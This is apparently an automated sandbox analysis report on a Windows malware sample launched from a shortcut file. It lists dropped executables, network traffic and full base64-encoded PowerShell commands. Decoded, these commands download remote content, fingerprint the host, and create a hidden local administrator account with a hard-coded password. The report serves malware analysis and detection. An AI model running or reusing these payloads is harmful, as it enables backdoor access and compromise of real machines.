ACQAawBlAHkAXQAgAD0AIAAkAHYAYQBsAHUAZQA7AA0ACgAgACAAIAAgACQAdQByAGkAIAA9ACAAIgBMAE8ARwBVAFIATAAiADsADQAKACAAIAAgACAAdAByAHkADQAKACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAbwBkAHkAIAA9ACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBNAGUAdABoAG8AZAAgAFAAbwBzAHQAIAAtAEgAZQBhAGQAZQByAHMAIAAkAGgAZQBhAGQAZQByAHMAIAAtAEIAbwBkAHkAIAAkAGIAbwBkAHkADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAANAAoAfQANAAoADQAKAHcAaABpAGwAZQAoACQAYwBvAHUAbgB0ACAALQBnAHQAIAAwACkADQAKAHsADQAKAAkADQAKAAkAdAByAHkAewANAAoAIAAgACAAIAAgACAAIAAgAFMAZQBuAGQAIAAiAGIAZQBnAGkAbgAgAGQAbwB3AG4AbABvAGEAZAAgACQAdQByAGkAIgA7AA0ACgAJAAkAJABjAG8AbgB0AGUAbgB0ACAAPQAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AA0ACgAgACAAIAAgACAAIAAgACAAJABiAHkAdABlAEEAcgByAGEAeQAgAD0AIAAkAGMAbwBuAHQAZQBuAHQALgBjAG8AbgB0AGUAbgB0ADsADQAKACAAIAAgACAAIAAgACAAIABmAG8AcgAgACgAJABpACAAPQAgADAAOwAgAC	Jump to behavior
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBJAGQAZQBuAHQAaQB0AHkAewAKACAAIAAgACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACAAPQAgAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIAAtAEMAbABhAHMAcwAgAFcAaQBuADMAMgBfAEQAaQBzAGsARAByAGkAdgBlACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACIAIAAtAG8AcgAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACAALQAgAFMAUwBEACIAIAB9AAoAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAA9ACAAQAAoACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAGgAYQByAGQARAByAGkAdgBlACAAaQBuACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACkAIAB7AAoAIAAgACAAIAAkAHMAZQByAGkAYQBsAE4AdQBtAGIAZQByACAAPQAgACQAaABhAHIAZABEAHIAaQB2AGUALgBTAGUAcgBpAGEAbABOAHUAbQBiAGUAcgAKACAAIAAgACAAJABtAG8AZABlAGwAIAA9ACAAJABoAGEAcgBkAEQAcgBpAHYAZQAuAE0AbwBkAGUAbAAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwAgAD0AIAAiAFMAZQByAGkAYQBsACAATgB1AG0AYgBlAHIAOgAgACQAcwBlAHIAaQBhAGwATgB1AG0AYgBlAHIALAAgAE0AbwBkAGUAbAA6ACAAJABtAG8AZABlAGwAIgAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAArAD0AIAAkAGQAcgBpAHYAZQBJAG4AZgBvAAoAfQAKACQAYwBvAG0AYgBpAG4AZQBkAEkAbgBmAG8AIAA9ACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAAtAGoAbwBpAG4AIAAiAGAAcgBgAG4AIgAKACQAYwBwAHUASQBuAGYAbwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMAIABXAGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzAG8AcgAKACQAYwBwAHUARABlAHQAYQBpAGwAcwAgAD0AIAAiAFAAcgBvAGMAZQBzAHMAbwByAEkAZAA6ACAAJAAoACQAYwBwAHUASQBuAGYAbwAuAFAAcgBvAGMAZQBzAHMAbwByAEkAZAApACwAIABOAGEAbQBlADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATgBhAG0AZQApACwAIABNAGEAeABDAGwAbwBjAGsAUwBwAGUAZQBkADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATQBhAHgAQwBsAG8AYwBrAFMAcABlAGUAZAApACwAIABVAG4AaQBxAHUAZQBJAGQAOgAgACQAKAAkAGMAcAB1AEkAbgBmAG8ALgBVAG4AaQBxAHUAZQBJAGQAKQAiAAoAJABhAGwAbABJAG4AZgBvACAAPQAgACIAJABjAG8AbQBiAGkAbgBlAGQASQBuAGYAbwBgAHIAYABuACQAYwBwAHUARABlAHQAYQBpAGwAcwAiAAoAJABtAGQANQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAE0ARAA1AEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAAoAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYQBsAGwASQBuAGYAbwApAAoAJABoAGEAcwBoAEIAeQB0AGUAcwAgAD0AIAAkAG0AZAA1AC4AQwBvAG0AcAB1AHQAZQBIAGEAcwBoACgAJABiAHkAdABlAHMAKQAKACQAaABhAHMAaAAgAD0AIABbAEIAaQB0AEMAbwBuAHYAZQByAHQAZQByAF0AOgA6AFQAbwBTAHQAcgBpAG4AZwAoACQAaABhAHMAaABCAHkAdABlAHMAKQAgAC0AcgBlAHAAbABhAGMAZQAgACcALQAnAAoAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAaABhAHMAaAA7AAoAfQAKAGMAZAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAIgA7AAoAJAB0AGUAcwB0ACAAPQAgAEcAZQB0AC0ASQBkAGUAbgB0AGkAdAB5ADsACgAkAHQAZQBzAHQAIAB8ACAATwB1AHQALQBGAGkAbABlACAALQBGAGkAbABlAFAAYQB0AGgAIAAiAGQAZQB2AGkAYwBlAEkAZAAuAHQAeAB0ACIAIAAtAEUAbgBjAG8AZABpAG4AZwAgAFUAVABGADgA
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand JABVAHMAZQByAG4AYQBtAGUAIAA9ACAAIgBVAHMAZQByADEAIgA7ACQAcAB3AGQAIAA9ACAAIgAxADIAMwA0ADUANgA3ADgAOQAhAEEAMQBhACIAOwAgACQAVQBzAGUAcgBQAGEAcgBhAG0AcwAgAD0AIABAAHsAJwBOAGEAbQBlACcAIAA9ACAAJABVAHMAZQByAG4AYQBtAGUAOwAgACcAUABhAHMAcwB3AG8AcgBkACcAIAA9ACAAKABDAG8AbgB2AGUAcgB0AFQAbwAtAFMAZQBjAHUAcgBlAFMAdAByAGkAbgBnACAALQBTAHQAcgBpAG4AZwAgACQAcAB3AGQAIAAtAEEAcwBQAGwAYQBpAG4AVABlAHgAdAAgAC0ARgBvAHIAYwBlACkAOwAgACcAUABhAHMAcwB3AG8AcgBkAE4AZQB2AGUAcgBFAHgAcABpAHIAZQBzACcAIAA9ACAAJAB0AHIAdQBlAH0AOwBOAGUAdwAtAEwAbwBjAGEAbABVAHMAZQByACAAQABVAHMAZQByAFAAYQByAGEAbQBzADsAJABHAHIAbwB1AHAAUABhAHIAYQBtAHMAIAA9ACAAQAB7ACcARwByAG8AdQBwACcAIAA9ACAAJwBBAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAHMAJwA7ACAAJwBNAGUAbQBiAGUAcgAnACAAPQAgACQAVQBzAGUAcgBuAGEAbQBlAH0AOwBBAGQAZAAtAEwAbwBjAGEAbABHAHIAbwB1AHAATQBlAG0AYgBlAHIAIABAAEcAcgBvAHUAcABQAGEAcgBhAG0AcwA7AA0ACgA=
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZwBlAHQALQBzAGUAcgB2AGkAYwBlACAAIgBtAHkAUgBkAHAAUwBlAHIAdgBpAGMAZQAiAA==
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\myainnc2\myainnc2.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\myainnc2\myainnc2.cmdline"			Jump to behavior

Source: svczHost.exe.12.dr	Static PE information: section name: .managed
Source: svczHost.exe.12.dr	Static PE information: section name: hydrated
Source: myRdpService.exe.21.dr	Static PE information: section name: .managed
Source: myRdpService.exe.21.dr	Static PE information: section name: hydrated

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD13BD1320 push eax; ret	4_2_00007FFD13BD132D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD13BD6ACB push eax; iretd	4_2_00007FFD13BD6B59
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD13BD1295 push eax; ret	4_2_00007FFD13BD132D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD13BE2CF3 push eax; iretd	4_2_00007FFD13BE2D51
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD13BD849E push eax; ret	4_2_00007FFD13BD84AD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD13BD7C9E push eax; retf	4_2_00007FFD13BD7CAD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD13BD846E pushad ; ret	4_2_00007FFD13BD849D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD13BD7C6E pushad ; retf	4_2_00007FFD13BD7C9D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD13CA435D pushad ; retf	4_2_00007FFD13CA435E
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD13CA1B14 push esi; iretd	4_2_00007FFD13CA1B17
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFD13A8D2A5 pushad ; iretd	8_2_00007FFD13A8D2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFD13BA2000 push eax; iretd	8_2_00007FFD13BA2009
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00007FFD13A8D2A5 pushad ; iretd	12_2_00007FFD13A8D2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 25_2_00007FFD13BB2B1A push E83A5C49h; ret	25_2_00007FFD13BB2B69
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 54_2_00007FFD13CB0C93 push cs; retf	54_2_00007FFD13CB0C9A

Persistence and Installation Behavior

Windows shortcut file (LNK) starts blacklisted processes

Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\System32\cmd.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\myainnc2\myainnc2.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Windows\Temp\svczHost.exe	Jump to dropped file
Source: C:\Windows\Temp\svczHost.exe	File created: C:\Windows\Temp\myRdpService.exe	Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Windows\Temp\svczHost.exe			Jump to dropped file
Source: C:\Windows\Temp\svczHost.exe	File created: C:\Windows\Temp\myRdpService.exe			Jump to dropped file

Source: C:\Windows\Temp\myRdpService.exe

Registry key created: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Application\myRdpService

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\sc.exe sc query myRdpService

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 8000 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 8000 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 8000 -> 49770

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
